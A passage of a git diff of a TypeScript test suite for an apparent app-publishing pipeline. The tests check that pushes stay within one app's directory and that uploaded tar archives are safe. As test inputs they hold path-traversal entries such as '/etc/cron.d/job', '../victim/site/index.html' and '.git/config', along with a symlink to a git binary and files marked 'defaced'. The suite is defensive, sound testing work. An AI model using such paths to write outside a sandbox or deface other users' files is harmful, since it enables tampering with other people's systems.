"https://github.com/o/r.git", - "main", - PATHS, - redo, - ); - -/** - * The root Blueprint holds every app the factory has built, so the push of a - * concurrent run changes it every time. Each change of the factory is derived - * from its inputs, so the run that pushes second makes its change again on - * the new tip, and no merge is necessary. - */ -describe("pushVerified when another run pushed first", () => { - /** The first push fails, and each later push succeeds. */ - function secondPushWins(command: string): ExecResult | undefined { - if (isPush(command)) { - return secondPushWins.pushes++ === 0 - ? { output: "non-fast-forward", exitCode: 1 } - : OK; - } - return verified(command); - } - secondPushWins.pushes = 0; - - afterEach(() => { - secondPushWins.pushes = 0; - }); - - it("takes the new tip and makes the change again", async () => { - const { sandbox, commands } = fakeSandbox(secondPushWins); - const redo = vi.fn(async () => HEAD); - - await expect(push(sandbox, redo)).resolves.toBe(HEAD); - - expect(redo).toHaveBeenCalledOnce(); - expect(commands.filter(isPush)).toHaveLength(2); - const fetch = commands.findIndex(isFetch); - const reset = commands.indexOf( - `git -c core.hooksPath=/dev/null -C ${shellEscape(REPO_DIR)} reset -q --hard FETCH_HEAD`, - ); - const lastPush = commands.map(isPush).lastIndexOf(true); - expect(commands[fetch]).toContain( - "'fetch' '-q' '--depth=1' 'https://github.com/o/r.git' 'main'", - ); - expect(fetch).toBeLessThan(reset); - expect(reset).toBeLessThan(lastPush); - expect(commands.some((c) => / 'pull' |rebase/.test(c))).toBe(false); - }); - - // The first push reached GitHub, but git reported a failure. - it("gives the tip when the tip already holds the change", async () => { - const { sandbox, commands } = fakeSandbox((command) => - isPush(command) - ? { output: "the remote end hung up unexpectedly", exitCode: 1 } - : verified(command), - ); - - await expect(push(sandbox, async () => null)).resolves.toBe(HEAD); - expect(commands.filter(isPush)).toHaveLength(1); - }); - - it("does not make the change again when the first push succeeds", async () => { - const { sandbox, commands } = fakeSandbox(verified); - const redo = vi.fn(async () => HEAD); - - await expect(push(sandbox, redo)).resolves.toBe(HEAD); - expect(redo).not.toHaveBeenCalled(); - expect(commands.some(isFetch)).toBe(false); - }); - - it("stops after three pushes fail", async () => { - const { sandbox, commands } = fakeSandbox((command) => - isPush(command) - ? { output: "non-fast-forward", exitCode: 1 } - : verified(command), - ); - - await expect(push(sandbox)).rejects.toThrow("Push failed: non-fast-forward"); - expect(commands.filter(isPush)).toHaveLength(3); - }); - - it("stops when the fetch of the new tip fails", async () => { - const { sandbox } = fakeSandbox((command) => { - if (isFetch(command)) return { output: "not found", exitCode: 128 }; - return secondPushWins(command); - }); - const redo = vi.fn(async () => HEAD); - - await expect(push(sandbox, redo)).rejects.toThrow( - "Fetch of main failed: not found", - ); - expect(redo).not.toHaveBeenCalled(); - }); - - it("refuses a remote SHA that does not match the local commit", async () => { - const { sandbox } = fakeSandbox((command) => { - if (command.includes("rev-parse HEAD")) { - return { output: `${HEAD}\n`, exitCode: 0 }; - } - if (command.includes("ls-remote")) { - return { output: `${"b".repeat(40)}\trefs/heads/main\n`, exitCode: 0 }; - } - return undefined; - }); - - await expect(push(sandbox)).rejects.toThrow(/does not match/); - }); -}); - -/** - * A push of the factory is for one app. It must not change the files of - * another app, and the root Blueprint is the only file outside the app that - * it changes. The builder once changed apps// in the clone, and - * the push took those changes to GitHub. - */ -describe("pushVerified paths", () => { - it("pushes a commit that changes the app directory and the root Blueprint", async () => { - const { sandbox, commands } = fakeSandbox((command) => - isChangedPaths(command) - ? changes( - "apps/demo/shop/factory.json", - "apps/demo/shop/web/index.html", - "render.yaml", - ) - : verified(command), - ); - - await expect(push(sandbox)).resolves.toBe(HEAD); - expect(commands.filter(isPush)).toHaveLength(1); - }); - - it.each([ - "apps/victim/site/index.html", - "apps/victim/site/factory.json", - // These share a prefix with an allowed path. - "apps/demo/shopx/index.html", - "render.yaml.bak", - "apps/demo/factory.json", - "README.md", - ])("sends nothing when the commit also changes %s", async (other) => { - const { sandbox, commands } = fakeSandbox((command) => - isChangedPaths(command) - ? changes("apps/demo/shop/index.html", other) - : verified(command), - ); - - await expect(push(sandbox)).rejects.toThrow( - `The commit changes paths outside apps/demo/shop and render.yaml, so it was not pushed: ${other}`, - ); - expect(commands.some(isPush)).toBe(false); - }); - - // Without the NULs, "apps/demo/shop/a.html" and "apps/victim/site/b.html" - // join into one path that starts with the app directory. - it("sends nothing when the list of paths has no NUL terminators", async () => { - const { sandbox, commands } = fakeSandbox((command) => - isChangedPaths(command) - ? { - output: "apps/demo/shop/a.htmlapps/victim/site/b.html", - exitCode: 0, - } - : verified(command), - ); - - await expect(push(sandbox)).rejects.toThrow(/has no NUL terminators/); - expect(commands.some(isPush)).toBe(false); - }); - - it("lists the changes of the commit at HEAD, also of a first or a merge commit", async () => { - const { sandbox, commands } = fakeSandbox((command) => - isChangedPaths(command) ? changes("render.yaml") : verified(command), - ); - - await push(sandbox); - - expect(commands.find(isChangedPaths)).toBe( - `git -c core.hooksPath=/dev/null -C ${shellEscape(REPO_DIR)} diff-tree -m -r -z --root --no-renames --no-commit-id --name-only HEAD`, - ); - }); - - // A new attempt makes a new commit on the new tip. - it("checks the commit again after the change is made again", async () => { - let redone = false; - const { sandbox, commands } = fakeSandbox((command) => { - if (isChangedPaths(command)) { - return redone - ? changes("render.yaml", "apps/victim/site/index.html") - : changes("render.yaml"); - } - if (isPush(command)) return { output: "non-fast-forward", exitCode: 1 }; - return verified(command); - }); - const redo = async () => { - redone = true; - return HEAD; - }; - - await expect(push(sandbox, redo)).rejects.toThrow( - /so it was not pushed: apps\/victim\/site\/index\.html/, - ); - expect(commands.filter(isPush)).toHaveLength(1); - }); -}); - -describe("cloneAppsRepo", () => { - // A link that an earlier commit put in the repository could send a write - // of the factory out of the clone, for example to put a different git on - // the PATH before the push. - it("checks out a symbolic link as a plain file", async () => { - const { sandbox, commands } = fakeSandbox(() => undefined); - - await cloneAppsRepo(sandbox, "token", { owner: "o", repo: "r" }, "main"); - - expect(commands.find((command) => / 'clone' /.test(command))).toContain( - "'clone' '--depth=1' '--config' 'core.symlinks=false' 'https://github.com/o/r.git' '/home/user/repo'", - ); - }); -}); - -/* ── What a commit holds ──────────────────────────────────────────────── */ - -/** Like most apps in the apps repository: the build only copies files. */ -const copyOnlySite: Service = { - name: "retreat", - kind: "static_site", - rootDir: ".", - runtime: "static", - buildCommand: - "mkdir -p dist && cp *.html style.css dist/ && cp -r assets dist/", - staticPublishPath: "dist", -}; - -/** The manifest that templates/fullstack tells the builder to return. */ -const templateWeb: Service = { +const staticSite: Service = { name: "web", kind: "static_site", rootDir: "web", @@ -333,112 +38,44 @@ const templateWeb: Service = { staticPublishPath: "dist", }; -const templateApi: Service = { +const webService: Service = { name: "api", kind: "web_service", rootDir: "api", runtime: "node", buildCommand: "npm ci && npm run build", - preDeployCommand: "npm run migrate", startCommand: "npm start", - healthCheckPath: "/health", - dataCheckPath: "/api/items", + staticPublishPath: "dist", }; /** The patterns, without the header. */ -function rules(...services: Service[]): string[] { - return appGitignore({ services }) +const rules = (...services: Service[]) => + appGitignore({ services }) .split("\n") .filter((line) => line !== "" && !line.startsWith("#")); -} describe("appGitignore", () => { - it("ignores the dependencies and the output of a copy-only build", () => { - expect(rules(copyOnlySite)).toEqual(["node_modules/", "/dist/"]); - }); - - it("ignores the storefront output of the full-stack template", () => { - expect(rules(templateWeb, templateApi)).toEqual([ + it("ignores node_modules and each static site's publish directory, but never the service directory itself", () => { + expect(rules(staticSite, webService)).toEqual([ "node_modules/", "/web/dist/", ]); - }); - - // A site without a build serves its own source, and several apps in the - // apps repository do. A rule here would leave the whole app out. - it("never ignores the directory of the service itself", () => { - for (const [rootDir, staticPublishPath] of [ - [".", "."], - [".", "./"], - [".", ""], - ["web", "."], - ["./web/", "./"], - ]) { - expect(rules({ ...copyOnlySite, rootDir, staticPublishPath })).toEqual( - ["node_modules/"], - ); - } - }); - - it("reads each spelling of a directory as one path", () => { - for (const [rootDir, staticPublishPath] of [ - ["web", "dist"], - ["./web", "./dist"], - ["web/", "dist/"], - ["./web//", ".//dist//"], - ]) { - expect(rules({ ...templateWeb, rootDir, staticPublishPath })).toEqual([ - "node_modules/", - "/web/dist/", - ]); - } - }); - - // The manifest is agent-authored. A missing rule commits too much, but a - // wrong rule removes a file that the deploy needs. - it("gives no rule for a path that it cannot match literally", () => { - for (const staticPublishPath of [ - "../dist", - "dist/../..", - "/home/user/repo/dist", - "*", - "**/dist", - "!dist", - "#dist", - "public site", - "dist\\", - ]) { - expect(rules({ ...copyOnlySite, staticPublishPath })).toEqual([ - "node_modules/", - ]); - } - expect(rules({ ...copyOnlySite, rootDir: "../other" })).toEqual([ - "node_modules/", - ]); - }); - - // Render reads staticPublishPath only for a static site, so no build - // makes that directory for a web service. - it("gives no rule for a web service", () => { - expect(rules({ ...templateApi, staticPublishPath: "dist" })).toEqual([ + // A site without a build publishes its own source. + expect( + rules({ ...staticSite, rootDir: ".", staticPublishPath: "." }), + ).toEqual(["node_modules/"]); + expect(rules({ ...staticSite, staticPublishPath: "./" })).toEqual([ "node_modules/", ]); }); - - it("does not change when the manifest lists services in a new order", () => { - const docs = { ...templateWeb, name: "docs", rootDir: "docs" }; - expect(appGitignore({ services: [templateWeb, docs, templateWeb] })).toBe( - appGitignore({ services: [docs, templateWeb] }), - ); - }); }); /** - * Git decides what a pattern matches, so these tests use real git and a real - * shell in temporary directories. Nothing here uses the network. + * Git decides what a pattern matches and what a commit holds, so these tests + * run real git and a real shell in temporary directories. Nothing here uses + * the network. */ -describe("what a commit holds, under real git", () => { - const PAGE = "Silent retreat"; +describe("under real git", () => { const temporary: string[] = []; afterEach(() => { @@ -454,35 +91,24 @@ describe("what a commit holds, under real git", () => { } /** - * A new repository, isolated from this machine. A git hook that runs the - * tests sets GIT_DIR and GIT_INDEX_FILE, which would send these commands - * to the outer repository. HOME and XDG_CONFIG_HOME point into the new - * one, so a global excludes file cannot change the result. + * Runs commands on this machine, isolated from its git config. A git hook + * that runs the tests sets GIT_DIR, which would send these commands to the + * outer repository. */ - function repository() { - const root = tempDir(); + function shell(home: string) { const env = { ...Object.fromEntries( Object.entries(process.env).filter(([key]) => !key.startsWith("GIT_")), ), - HOME: root, - XDG_CONFIG_HOME: root, + HOME: home, + XDG_CONFIG_HOME: home, GIT_CONFIG_NOSYSTEM: "1", - // The tar of macOS adds a ._ file for the metadata of each file. - COPYFILE_DISABLE: "1", }; - // stderr too, so that a push that git refuses on purpose prints nothing. - const run = (command: string, cwd = root) => + return (command: string, cwd = home) => execSync(command, { cwd, env, encoding: "utf8", stdio: "pipe" }); - run("git init -q"); - run("git config user.name test && git config user.email test@example.com"); - return { root, run, sandbox: localSandbox(root, run) }; } - /** - * Runs the commands that the workflow sends to the sandbox on this - * machine. The clone is at REPO_DIR in the sandbox, and in `root` here. - */ + /** A sandbox that runs each command on this machine, with the clone at `root`. */ function localSandbox( root: string, run: (command: string) => string, @@ -491,7 +117,11 @@ describe("what a commit holds, under real git", () => { try { return { output: run(command.replaceAll(REPO_DIR, root)), exitCode: 0 }; } catch (error) { - const failed = error as { status?: number; stdout?: string; stderr?: string }; + const failed = error as { + status?: number; + stdout?: string; + stderr?: string; + }; return { output: `${failed.stdout ?? ""}${failed.stderr ?? ""}`, exitCode: failed.status ?? 1, @@ -507,132 +137,56 @@ describe("what a commit holds, under real git", () => { } return result.output; }, - download: async (path: string) => readFileSync(path), upload: async (path: string, data: string | Buffer) => writeFileSync(path, data), } as unknown as Sandbox; } - function write(dir: string, files: Record): void { + function write(dir: string, files: Record): void { for (const [path, contents] of Object.entries(files)) { mkdirSync(dirname(join(dir, path)), { recursive: true }); writeFileSync(join(dir, path), contents); } } - /** Every file below a directory, relative to it. */ - function filesIn(dir: string): string[] { - return readdirSync(dir, { recursive: true, withFileTypes: true }) - .filter((entry) => entry.isFile()) - .map((entry) => relative(dir, join(entry.parentPath, entry.name))) - .sort(); - } - const lines = (output: string) => output.split("\n").filter(Boolean).sort(); - it("commits the source of a copy-only site, and its build still works", () => { - const { root, run } = repository(); - const app = join(root, "apps/demo/retreat"); - // As the builder leaves it: source and photographs, and the output and - // dependencies of its own builds. - write(app, { - ".gitignore": appGitignore({ services: [copyOnlySite] }), - "index.html": PAGE, - "style.css": "body { margin: 0; }", - "assets/fog.jpg": "jpeg", - "dist/index.html": PAGE, - "dist/assets/fog.jpg": "jpeg", - "node_modules/serve/index.js": "js", - }); - - run("git add -A"); - expect(lines(run("git ls-files", app))).toEqual([ - ".gitignore", - "assets/fog.jpg", - "index.html", - "style.css", - ]); - - // Render: a clone with only what the commit holds, then buildCommand. - const clone = tempDir(); - run(`git checkout-index -a --prefix=${shellEscape(`${clone}/`)}`); - const site = join(clone, "apps/demo/retreat"); - run(copyOnlySite.buildCommand, site); - expect(filesIn(join(site, "dist"))).toEqual([ - "assets/fog.jpg", - "index.html", - "style.css", - ]); - expect(readFileSync(join(site, "dist/index.html"), "utf8")).toBe(PAGE); - }); - - it("removes only what a commit leaves out, and only in one app", async () => { - const { root, run, sandbox } = repository(); - const app = join(root, "apps/demo/shop"); - write(app, { - ".gitignore": appGitignore({ services: [templateWeb, templateApi] }), - "assets/chair.jpg": "jpeg", - "web/src/main.tsx": "source", - // Source with the same name as the output of the build. - "web/src/dist/format.ts": "source", - "web/dist/index.html": PAGE, - "web/node_modules/vite/index.js": "js", - // The manifest does not name the output of the API, so it stays. - "api/dist/index.js": "js", - "api/node_modules/pg/index.js": "js", - }); - const other = join(root, "apps/demo/other"); - write(other, { - ".gitignore": appGitignore({ services: [copyOnlySite] }), - "dist/index.html": PAGE, - }); - - await removeIgnored(sandbox, app); - - const kept = [ - ".gitignore", - "api/dist/index.js", - "assets/chair.jpg", - "web/src/dist/format.ts", - "web/src/main.tsx", - ]; - expect(filesIn(app)).toEqual(kept); - // So verification builds from the files that a commit takes. - expect( - lines(run("git ls-files --cached --others --exclude-standard", app)), - ).toEqual(kept); - expect(filesIn(other)).toEqual([".gitignore", "dist/index.html"]); - }); - - /* ── commitPaths ─────────────────────────────────────────────────── */ - - /** A clone whose last commit holds two apps and the root Blueprint. */ + /** A clone whose last commit holds two apps, the root Blueprint, and a README. */ function clone() { - const repo = repository(); - write(repo.root, { + const root = tempDir(); + const run = shell(root); + run("git init -q -b main"); + run("git config user.name test && git config user.email test@example.com"); + write(root, { "apps/demo/shop/index.html": PAGE, "apps/victim/site/index.html": PAGE, - "apps/victim/site/factory.json": "{}", - "render.yaml": "services: []\n", + "render.yaml": "apps: []\n", "README.md": "# Apps\n", }); - repo.run("git add -A && git commit -q -m base"); - return repo; + run("git add -A && git commit -q -m base"); + return { root, run, sandbox: localSandbox(root, run) }; + } + + /** A bare remote that holds the base commit of the clone on main. */ + function remoteOf(repo: ReturnType) { + const remote = tempDir(); + repo.run(`git init -q --bare -b main ${shellEscape(remote)}`); + repo.run(`git push -q ${shellEscape(remote)} HEAD:refs/heads/main`); + const onRemote = (command: string) => + repo.run(`git --git-dir=${shellEscape(remote)} ${command}`); + return { remote, onRemote }; } const committed = (run: (command: string) => string) => lines(run("git show --name-only --format= HEAD")); - // The builder once changed the files of other users in the clone, and - // the commit took those changes. - it("commits the app directory and the root Blueprint, and nothing else", async () => { + it("commits only the app directory and the root Blueprint", async () => { const { root, run, sandbox } = clone(); write(root, { - "apps/demo/shop/index.html": "Shop", + "apps/demo/shop/index.html": "

    new

    ", "apps/demo/shop/api/index.ts": "export {};", - "render.yaml": "projects: []\n", + "render.yaml": "apps: [shop]\n", "apps/victim/site/index.html": "defaced", - "apps/victim/site/extra.html": "planted", "README.md": "# Changed\n", }); @@ -645,16 +199,9 @@ describe("what a commit holds, under real git", () => { "apps/demo/shop/index.html", "render.yaml", ]); - expect( - lines(run("git status --porcelain --untracked-files=all")), - ).toEqual([ - " M README.md", - " M apps/victim/site/index.html", - "?? apps/victim/site/extra.html", - ]); }); - it("makes no commit when only paths outside the app changed", async () => { + it("makes no commit when nothing in the app or the root Blueprint changed", async () => { const { root, run, sandbox } = clone(); write(root, { "apps/victim/site/index.html": "defaced" }); const base = run("git rev-parse HEAD"); @@ -663,199 +210,52 @@ describe("what a commit holds, under real git", () => { expect(run("git rev-parse HEAD")).toBe(base); }); - // A new attempt of a delete finds the removal that an earlier attempt - // pushed. git add fails for a path that matches no file. - it("commits the removal of the app directory, and then finds nothing to commit", async () => { - const { root, run, sandbox } = clone(); - rmSync(join(root, "apps/demo/shop"), { recursive: true }); - - await expect( - commitPaths(sandbox, "Delete demo/shop", PATHS), - ).resolves.toMatch(/^[0-9a-f]{40}$/); - expect(lines(run("git show --name-status --format= HEAD"))).toEqual([ - "D\tapps/demo/shop/index.html", - ]); - - await expect( - commitPaths(sandbox, "Delete demo/shop", PATHS), - ).resolves.toBeNull(); - }); - - it("makes the first commit of a new apps repository", async () => { - const { root, run, sandbox } = repository(); - write(root, { - "apps/demo/shop/index.html": PAGE, - "render.yaml": "projects: []\n", - "notes.txt": "not part of the app", - }); - - await expect(commitPaths(sandbox, "demo/shop", PATHS)).resolves.toMatch( - /^[0-9a-f]{40}$/, - ); - expect(committed(run)).toEqual([ - "apps/demo/shop/index.html", - "render.yaml", - ]); - }); - - /* ── readAppFiles and writeAppFiles ───────────────────────────────── */ - - /** Every byte value, as a photograph can hold them. */ - const PHOTO = Buffer.from([...Array(256).keys()]); - - function filesOf(read: AppFiles): AppFile[] { - if ("error" in read) throw new Error(read.error); - return read.files; - } - - it("packs the files that a commit of the app holds, and only those", async () => { - const { root, run, sandbox } = repository(); - const app = join(root, "apps/demo/shop"); - write(app, { - ".gitignore": appGitignore({ services: [templateWeb, templateApi] }), - "web/src/main.tsx": "source", - "web/dist/index.html": PAGE, - "web/node_modules/vite/index.js": "js", - "api/src/index.ts": "api", - "assets/chair.jpg": PHOTO, - "build.sh": "#!/bin/sh\necho built\n", - }); - chmodSync(join(app, "build.sh"), 0o755); - // The builder can write outside its app directory in its sandbox. - write(root, { "apps/victim/site/index.html": "defaced" }); - // The builder is told not to run git. A file that it staged is still - // part of the app. - run("git add apps/demo/shop/api/src/index.ts"); - - const files = filesOf(await readAppFiles(sandbox, app)); - - expect(files.map(({ path }) => path).sort()).toEqual([ - ".gitignore", - "api/src/index.ts", - "assets/chair.jpg", - "build.sh", - "web/src/main.tsx", - ]); - expect(files.find(({ path }) => path === "assets/chair.jpg")?.data).toEqual( - PHOTO, - ); - expect( - files.filter(({ executable }) => executable).map(({ path }) => path), - ).toEqual(["build.sh"]); - }); - - it("refuses a symbolic link", async () => { - const { root, sandbox } = repository(); - const app = join(root, "apps/demo/shop"); - write(app, { "index.html": PAGE }); - symlinkSync("index.html", join(app, "home.html")); - - await expect(readAppFiles(sandbox, app)).resolves.toEqual({ - error: expect.stringContaining("home.html is a symbolic link."), + it("refuses to push a commit that changes a path outside the allowed paths", async () => { + const repo = clone(); + const { remote, onRemote } = remoteOf(repo); + const base = onRemote("rev-parse main"); + write(repo.root, { + "apps/demo/shop/index.html": "

    new

    ", + "apps/demo/shopx/index.html": "planted", }); - }); - - // Without the .git directory, the commit holds its files. - it("refuses a Git repository in the app, which git lists as one directory", async () => { - const { root, run, sandbox } = repository(); - const app = join(root, "apps/demo/shop"); - write(app, { "web/index.html": PAGE }); - run("git init -q", join(app, "web")); + repo.run("git add -A && git commit -q -m sneaky"); - await expect(readAppFiles(sandbox, app)).resolves.toEqual({ - error: expect.stringContaining( - "web is a Git repository in the app directory. Remove web/.git", + await expect( + pushVerified(repo.sandbox, "token", remote, "main", PATHS, async () => + commitPaths(repo.sandbox, "demo/shop", PATHS), ), - }); + ).rejects.toThrow(/outside .* so it was not pushed: apps\/demo\/shopx/); + expect(onRemote("rev-parse main")).toBe(base); }); - it("writes the files of the app into a clone, in place of the old ones", async () => { - const { root, sandbox } = repository(); - const app = join(root, "apps/demo/shop"); - write(app, { "old.html": "from an earlier run" }); - const files: AppFile[] = [ - { path: "index.html", data: Buffer.from(PAGE), executable: false }, - { path: "assets/chair.jpg", data: PHOTO, executable: false }, - { path: "web/src/it's here.ts", data: Buffer.from("x"), executable: false }, - { path: "-rf", data: Buffer.from("a name like an option"), executable: false }, - { path: "empty.txt", data: Buffer.alloc(0), executable: false }, - { path: "bin/build.sh", data: Buffer.from("#!/bin/sh\n"), executable: true }, - ]; - - await writeAppFiles(sandbox, app, files); - - expect(filesIn(app)).toEqual(files.map(({ path }) => path).sort()); - for (const { path, data } of files) { - expect(readFileSync(join(app, path)), path).toEqual(data); - } - expect(statSync(join(app, "bin/build.sh")).mode & 0o111).toBe(0o111); - expect(statSync(join(app, "index.html")).mode & 0o111).toBe(0); - }); + // The root Blueprint lists every app, so a concurrent run always changes it. + it("takes the new tip, makes the change again, and pushes when another run pushed first", async () => { + const repo = clone(); + const { remote, onRemote } = remoteOf(repo); - // What the sandbox of the build packs is what the clone commits. - it("copies an app from one repository into another", async () => { - const build = repository(); - const app = join(build.root, "apps/demo/shop"); - write(app, { - ".gitignore": appGitignore({ services: [copyOnlySite] }), - "index.html": PAGE, - "assets/fog.jpg": PHOTO, - "dist/index.html": PAGE, - }); - const target = clone(); - - await writeAppFiles( - target.sandbox, - join(target.root, "apps/demo/shop"), - filesOf(await readAppFiles(build.sandbox, app)), - ); - await commitPaths(target.sandbox, "demo/shop", PATHS); - - expect( - lines(target.run("git ls-files -- apps/demo/shop")), - ).toEqual([ - "apps/demo/shop/.gitignore", - "apps/demo/shop/assets/fog.jpg", - "apps/demo/shop/index.html", - ]); - expect( - readFileSync(join(target.root, "apps/demo/shop/assets/fog.jpg")), - ).toEqual(PHOTO); - }); - - // Two runs publish at one time. The run that pushes second takes the new - // tip and makes its change again, so the root Blueprint gets both apps. - it("makes the change again on the tip of a push that came first", async () => { - const { root, run, sandbox } = repository(); - const remote = tempDir(); - run(`git init -q --bare ${shellEscape(remote)}`); - write(root, { "render.yaml": "apps: []\n" }); - run("git add -A && git commit -qm seed"); - run(`git push -q ${shellEscape(remote)} HEAD:refs/heads/main`); - - // Another run pushes the cafe app first. const other = tempDir(); - run(`git clone -q -b main ${shellEscape(remote)} ${shellEscape(other)}`); + repo.run( + `git clone -q -b main ${shellEscape(remote)} ${shellEscape(other)}`, + ); write(other, { "apps/demo/cafe/index.html": "cafe", "render.yaml": "apps: [cafe]\n", }); - run( + repo.run( "git add -A && git -c user.name=t -c user.email=t@example.com commit -qm cafe && git push -q origin HEAD:main", other, ); - // This run adds the shop app. Its root Blueprint lists the apps of the - // clone, as writeRootBlueprint() does. + // As writeRootBlueprint() does, the Blueprint lists the apps of the clone. const commit = async () => { - write(root, { "apps/demo/shop/index.html": "shop" }); - const apps = readdirSync(join(root, "apps/demo")).sort(); - write(root, { "render.yaml": `apps: [${apps.join(", ")}]\n` }); - return commitPaths(sandbox, "demo/shop", PATHS); + write(repo.root, { "apps/demo/shop/index.html": "

    new

    " }); + const apps = readdirSync(join(repo.root, "apps/demo")).sort(); + write(repo.root, { "render.yaml": `apps: [${apps.join(", ")}]\n` }); + return commitPaths(repo.sandbox, "demo/shop", PATHS); }; await commit(); const pushed = await pushVerified( - sandbox, + repo.sandbox, "token", remote, "main", @@ -863,160 +263,82 @@ describe("what a commit holds, under real git", () => { commit, ); - const onRemote = (command: string) => - run(`git --git-dir=${shellEscape(remote)} ${command}`); expect(onRemote("rev-parse main").trim()).toBe(pushed); expect(onRemote("show main:render.yaml")).toBe("apps: [cafe, shop]\n"); - expect( - lines(onRemote("diff-tree -r --no-commit-id --name-only main")), - ).toEqual(["apps/demo/shop/index.html", "render.yaml"]); + expect(onRemote("show main:apps/demo/cafe/index.html")).toBe("cafe"); }); -}); -describe("readAppFiles", () => { - /** A sandbox that answers the pack command, and then each rm. */ - function packing(result: ExecResult) { - const download = vi.fn(); - const run = vi.fn(async () => OK).mockResolvedValueOnce(result); - return { sandbox: { run, download } as unknown as Sandbox, download }; - } - - it("stops an archive over the limit before the download", async () => { - const { sandbox, download } = packing({ - output: `${MAX_APP_BYTES + 1}\n`, - exitCode: 0, - }); - - await expect( - readAppFiles(sandbox, "/home/user/repo/apps/demo/shop"), - ).resolves.toEqual({ - error: expect.stringContaining("the limit is 50 MB"), - }); - expect(download).not.toHaveBeenCalled(); - }); - - // A problem of the files is for the builder to fix, so it is a result. - it("gives the output of a pack that fails", async () => { - const { sandbox, download } = packing({ - output: "tar: web/server.log: file changed as we read it\n", - exitCode: 1, - }); + it("refuses a push when the remote branch does not hold the pushed commit", async () => { + const repo = clone(); + const { remote, onRemote } = remoteOf(repo); + const base = onRemote("rev-parse main").trim(); + // The remote moves the branch away from what it received. + const hook = join(remote, "hooks/post-receive"); + writeFileSync(hook, `#!/bin/sh\ngit update-ref refs/heads/main ${base}\n`); + chmodSync(hook, 0o755); + write(repo.root, { "apps/demo/shop/index.html": "

    new

    " }); + await commitPaths(repo.sandbox, "demo/shop", PATHS); await expect( - readAppFiles(sandbox, "/home/user/repo/apps/demo/shop"), - ).resolves.toEqual({ - error: - "The files of the app could not be packed: tar: web/server.log: file changed as we read it\n", - }); - expect(download).not.toHaveBeenCalled(); - }); -}); - -/** - * A tar archive with entries that tar does not make from the app directory. - * The builder controls its sandbox, so it can put any archive there. - */ -function tarOf( - entries: { - path: string; - type?: HeaderData["type"]; - data?: string; - mode?: number; - linkpath?: string; - }[], -): Buffer { - const blocks: Buffer[] = []; - for (const entry of entries) { - const data = Buffer.from(entry.data ?? ""); - const header = Buffer.alloc(512); - new Header({ - path: entry.path, - type: entry.type ?? "File", - mode: entry.mode ?? 0o644, - size: data.length, - mtime: new Date(0), - linkpath: entry.linkpath, - }).encode(header, 0); - blocks.push(header, data, Buffer.alloc((512 - (data.length % 512)) % 512)); - } - return Buffer.concat([...blocks, Buffer.alloc(1024)]); -} - -describe("appFiles", () => { - it("reads the regular files of an archive, with the executable bit", async () => { - await expect( - appFiles( - tarOf([ - { path: "index.html", data: "

    Shop

    " }, - { path: "bin/build.sh", data: "#!/bin/sh\n", mode: 0o755 }, - ]), + pushVerified(repo.sandbox, "token", remote, "main", PATHS, async () => + commitPaths(repo.sandbox, "demo/shop", PATHS), ), - ).resolves.toEqual({ - files: [ - { path: "index.html", data: Buffer.from("

    Shop

    "), executable: false }, - { path: "bin/build.sh", data: Buffer.from("#!/bin/sh\n"), executable: true }, - ], - }); + ).rejects.toThrow(/does not match/); }); - // Each of these would write outside the app directory, or into git. - it.each([ - ["/etc/cron.d/job", "is not a plain path below the app directory"], - ["../victim/site/index.html", "is not a plain path below the app directory"], - ["web/../../victim/site/index.html", "is not a plain path below the app directory"], - ["./index.html", "is not a plain path below the app directory"], - ["web//index.html", "is not a plain path below the app directory"], - [".git/config", "is in a .git directory"], - ["web/.GIT/hooks/post-checkout", "is in a .git directory"], - ["index\n.html", "has a control character in its name"], - ])("refuses the path %j", async (path, reason) => { - await expect(appFiles(tarOf([{ path, data: "x" }]))).resolves.toEqual({ - error: expect.stringContaining(reason), + it("removes ignored files and keeps untracked files that are not ignored", async () => { + const { root, sandbox } = clone(); + const app = join(root, "apps/demo/shop"); + write(app, { + ".gitignore": appGitignore({ services: [staticSite, webService] }), + "web/src/main.tsx": "source", + // Source with the same name as the output of the build. + "web/src/dist/format.ts": "source", + "web/dist/index.html": PAGE, + "api/node_modules/pg/index.js": "js", }); - }); - it.each<[HeaderData["type"], string | undefined, string]>([ - ["SymbolicLink", "/usr/local/bin/git", "home.html is a symbolic link."], - ["Link", "index.html", "home.html is a Link entry."], - ["FIFO", undefined, "home.html is a FIFO entry."], - ["CharacterDevice", undefined, "home.html is a CharacterDevice entry."], - ["Directory", undefined, "home.html is a Git repository"], - ])("refuses a %s entry", async (type, linkpath, reason) => { - await expect( - appFiles(tarOf([{ path: "home.html", type, linkpath }])), - ).resolves.toEqual({ error: expect.stringContaining(reason) }); - }); + await removeIgnored(sandbox, app); - it("refuses a path that is in the archive two times", async () => { - await expect( - appFiles( - tarOf([ - { path: "index.html", data: "first" }, - { path: "index.html", data: "second" }, - ]), - ), - ).resolves.toEqual({ - error: "index.html is in the archive two times.", - }); + const kept = readdirSync(app, { recursive: true, withFileTypes: true }) + .filter((entry) => entry.isFile()) + .map((entry) => relative(app, join(entry.parentPath, entry.name))) + .sort(); + expect(kept).toEqual([ + ".gitignore", + "index.html", + "web/src/dist/format.ts", + "web/src/main.tsx", + ]); }); - // readAppFiles() packs a plain tar. Compressed data can expand in memory - // to much more than the limit. - it("refuses a compressed archive", async () => { - await expect( - appFiles(gzipSync(tarOf([{ path: "index.html", data: "x" }]))), - ).resolves.toEqual({ error: "The archive of the app is compressed." }); - }); + // A link that an earlier commit put in the repository could send a write + // of the factory out of the clone. + it("clones with symbolic links as plain files and keeps the token out of .git/config", async () => { + const source = clone(); + symlinkSync("/usr/bin", join(source.root, "apps/demo/shop/bin")); + source.run("git add -A && git commit -q -m link"); + const { remote } = remoteOf(source); + + const home = tempDir(); + const run = shell(home); + run( + `git config --global url.${shellEscape(`file://${remote}`)}.insteadOf https://github.com/o/r.git`, + ); + const target = join(home, "clone"); - it("refuses data that is not a tar archive", async () => { - await expect(appFiles(Buffer.from("not an archive"))).resolves.toEqual({ - error: expect.stringContaining("is not a valid tar archive"), - }); - }); + await cloneAppsRepo( + localSandbox(target, run), + "ghs_secret_token", + { owner: "o", repo: "r" }, + "main", + ); - it("refuses an archive over the limit", async () => { - await expect(appFiles(Buffer.alloc(MAX_APP_BYTES + 1))).resolves.toEqual({ - error: expect.stringContaining("the limit is 50 MB"), - }); + const link = join(target, "apps/demo/shop/bin"); + expect(lstatSync(link).isSymbolicLink()).toBe(false); + expect(readFileSync(link, "utf8")).toBe("/usr/bin"); + expect(readFileSync(join(target, ".git/config"), "utf8")).not.toContain( + "ghs_secret_token", + ); }); }); diff --git a/tests/github-auth.test.ts b/tests/github-auth.test.ts index b70eed3..7b282f9 100644 --- a/tests/github-auth.test.ts +++ 